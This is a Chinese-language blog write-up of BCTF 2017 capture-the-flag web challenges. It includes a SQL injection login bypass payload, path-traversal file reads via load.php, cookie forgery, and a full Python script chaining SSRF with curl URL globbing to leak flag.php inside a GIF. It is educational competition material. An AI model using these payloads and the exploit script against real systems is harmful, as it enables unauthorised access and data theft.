BCTF 2017 Web 题目总结

毕竟还是图样图森破,这次比赛最后我们只做出来了一部分题目,很可惜火日菊苣出的两道题目都没做出来。

捂脸

Baby Sqli/ Kitty Shop/ Reverse: Flag Shop

这也是一套略显莫名其妙的题目。

Baby Sqli

这次比赛大有 Web、Reverse、Crypto 结合的意思?

首先是 Baby Sqli,这题首先有一个登录页面,有 WAF,username 没有过滤 '。测了一堆 Payload 发现 usernameadmin'#password 随意,可以成功登录。

然后有个商店可以买东西,manual 说有 a b c 三种商品。但是下面的提示却是 4 items in stock but one is available!。于是队友买了 d,拿到 flag。

Welcome to the shop! Your balance is $10, have fun~

    (a) hello kitty                   $10
    (b) flag of hello kitty           $10
    (c) flag of dummy shop            $999

Kitty Shop

然后一个队友扫描到了 .viminfo 文件:

# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written
*encoding=utf-8

# File marks:
'0  1  0  ~/.viminfo
'1  99  0  ~/app/encrypt0p@ssword/password

load.php 用来下载 manual 文件,但是存在任意文件读取漏洞,但是屏蔽了一些关键词:.phpprocphp:// 等。结合有一个 Reverse 题也是这个网站,猜测需要下载一个二进制文件,于是顺藤摸瓜下载:

POST /load.php

kitty=../.viminfo
kitty=../encrypt0p@ssword/password
kitty=../../../../../../backup/client.zip

然后直接运行这个 client,wireshark 抓包就能看到 flag。

Reverse: Flag Shop

通过逆向这个 client,里面有一个签名算法,很显然然后要伪造自己的钱然后买 c。可惜此题最后也无人解出。

admin only

这道题是最莫名其妙的题目,有“为出题而出题”的嫌疑。

首先确定不是 GitHub Pages 静态页面;在 GitHub 里面搜索没有发现这个 repository。然后看题目,里面有个登录页面,能拿到 md5(admin 的 password)。反查 md5,登录进去并没有 GitHub 的信息,突然发现里面有个 identity Cookie,是 md5('user'),改成 md5('admin') 就显示了一个 GitHub 账号。

找到 repository 里面有一个 apk 文件,简单逆向一下,有一个 AES 加密后的字符串、加密算法、密钥,解开就是 flag。

Alice and Bob

见我的这篇博客

Paint

这是一道很有意思的题目。比赛的时候已经能 SSRF 读取 flag.php,但是不能通过图片检验。后来看了这篇这篇博客,才知道 curl 有 trick。

首先是一道自带 BGM 的题目。内容是一个画板,前端的部分随便玩两下就行了,不必仔细看。查看我一开始的笔记可以发现,网站的逻辑发生了变化,这里按最新版本处理。另外,网站一开始还有别的功能,后来删掉了多余的功能,能搞事情的地方只剩下:

文件上传 upload.php

可以上传的扩展名是:jpg png gif,禁止的是:bmp php 等。上传完毕会经过图像处理 gd 库的检验和处理,然后修改文件名,保存在 /uploads/ 里面。文件名的扩展名取自上传的 filename,不需要和实际类型匹配,只需要是正常的图片。测试随机写的扩展名,返回 {"files":{"error":"Filename invalid"}},说明扩展名这里是白名单限制。

在上传过程中,服务端检查扩展名是强制的,但是 gd 检验处理图片似乎不是强制性的(可能忽略了报错),如果上传一个不是图片的文件仍然可以保存。

另外看了这篇博客发现,测试这个网站的 /uploads 可以发现访问任意 .php 都 403 forbidden。所以上传 Webshell 这条路走不通。经过测试,虽然可以上传包含 PHP 代码的 gif 图片,但是没有发现文件包含等漏洞,无法远程命令执行。

服务端请求 image.php

可以请求别的网站的图片,然后经过 upload.php 类似的检验处理流程,保存在 /uploads/。这里强制用 gd 库检查图片格式,如果不是图片则会拒绝。网络协议方面,只发现了可以使用 http htttps 协议,禁止了 ftp file 等协议。尝试请求自己 VPS 的资源,可以看到 User-Agentcurl/7.47.0

52.53.74.187 "-" "-" [15/Apr/2017:18:21:26 +0800] "GET /shell.txt HTTP/1.1" 200 274 "-" "curl/7.47.0"

当时想到可能是 SSRF 漏洞读取 flag.php。SSRF 本身很好解决,用 127.0.0.2 或者自己搞一个指向 127.0.0.1 的域名访问 /flag.php 即可绕过这一部分的 WAF,返回:{"files":{"size":374,"error":"Not Image"}}。直接访问 flag.php,长度则是 80。所以这里成功读取到了 flag.php,但是无法通过图片检验。

赛后简单测试了一下,此处过滤了一些字符:| < > " ' 空格等。测试 ASCII 0-255 所有字符,没有过滤的只有:! % & ( ) + , - . 数字 = ? @ 大写字母 ^ _ 小写字母,以及 [ ] { }。仔细观察 VPS 日志可以发现,后面 4 种字符虽然并没有显示 {"files":{"error":"Invalid URL"}},而是返回了 {"files":{"size":0,"error":"Not Image"}},但是服务器上并没有看到请求的日志。从这些现象可以猜测:这里用到了 curl 命令,不能命令注入,但是有不知道的特性。

man curl 以及相关资料,发现 curl 有 URL globbing 的特性。然后服务端应该是执行了类似 curl 用户 URL > xxx 的命令。

那么就有思路了:随便找一张 gif 图片,首先上传再下载让 gd 库处理一次。然后从中间去掉 374 个字节分成首尾两个图片,使用 curl 的这个特性以及 SSRF 漏洞“夹住”flag.php,保存到 /uploads/ 里面。

用到的 gif 图片

另外,分割图片的位置不能太随意。稍有常识的人都会看出,gif 文件的数据区块 struct DATASUBBLOCKS DataSubBlocks[N] 大小是 255,但是 flag.php 的大小是 374,在这里并不能装下 flag.php 的所有内容,这会导致 gd 库处理的过程中出现问题。而 struct GLOBALCOLORTABLE GlobalColorTable 的空间则足够大,可以在这一个区域储存 flag.php

手动抠图效率不高,写一个随机切割图片并上传的脚本:

import requests
from random import randint
import time
import sys
import re

org_img = 'firesun-paint.gif'
org_img_content = open(org_img,'rb').read()
org_img_size = len(org_img_content)
flag_size = 374

domain = 'http://paint.bctf.xctf.org.cn/'
upload_url = 'http://paint.bctf.xctf.org.cn/upload.php'
ssrf_url = 'http://paint.bctf.xctf.org.cn/image.php'

flag_regex = re.compile(r'(bctf{.*?})')

s = requests.Session()

def trying():
    #cut_start = randint(0,org_img_size - 374)
    cut_start = randint(20, 0x300)  # aim 'struct GLOBALCOLORTABLE GlobalColorTable'
    print 'Cut image at %d hex=%x' % (cut_start, cut_start)

    files = {'files[]': ('xxxx.gif', org_img_content[0:cut_start], 'image/gif')}
    r = s.post(upload_url, files=files)
    part1_path = r.json()['files']['url']
    print 'part1 upload path is %s' % part1_path

    files = {'files[]': ('xxxx.gif', org_img_content[cut_start+flag_size:], 'image/gif')}
    r = s.post(upload_url, files=files)
    part2_path = r.json()['files']['url']
    print 'part2 upload path is %s' % part2_path

    url = 'http://127.0.0.2/{%s,flag.php,%s}' % (part1_path, part2_path)
    r = s.post(ssrf_url, data={'url':url})
    flag_path = r.json()['files']['url']
    print 'include flag.php, path is %s' % flag_path

    r = s.get(domain+flag_path)
    with open('result'+str(time.time())+'.gif','wb') as f:
        f.write(r.content)

    if 'bctf{' in r.content:
        flag = flag_regex.findall(r.content)
        if len(flag) > 0:
            print '*** get flag ***'
            flag_filename = 'flag' + str(time.time()) + '.gif'
            with open(flag_filename, 'wb') as f:
                f.write(r.content)
            print 'saved to %s' % flag_filename
            print flag[0]
            sys.exit(0)
        else:
            print 'flag not complete'


while True:
    try:
        trying()
    except Exception,e:
        print 'Error'

运行效果:

Cut image at 682 hex=2aa
part1 upload path is uploads/14925990976o5M2s8w.gif
part2 upload path is uploads/1492599098PeFob7yg.gif
Error
Cut image at 27 hex=1b
part1 upload path is uploads/1492599099kMnBDrak.gif
part2 upload path is uploads/1492599099kJDI9YTX.gif
include flag.php, path is uploads/1492599099sYN4QHLf.gif
*** get flag ***
saved to flag1492599092.77.gif
bctf{G073Q1o0Bm4fWKj8iE5TGdb9JBkbnPzh}

赛后感想

比赛的时候不知道 curl 的这个 URL globbing 特性,另外也没有好好检测 image.php 的过滤情况,如果发现了 { } 这些字符的异常,是有希望顺藤摸瓜查到这个特性,然后解出这道题的。

Diary

显然这是一道 XSS 的题。由于我对 XSS 一无所知,比赛的时候并没有仔细看题,现在题目服务器关了,暂时略去。

signature

同理,略。


Advertisements

Comments

License

Creative Commons License

本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).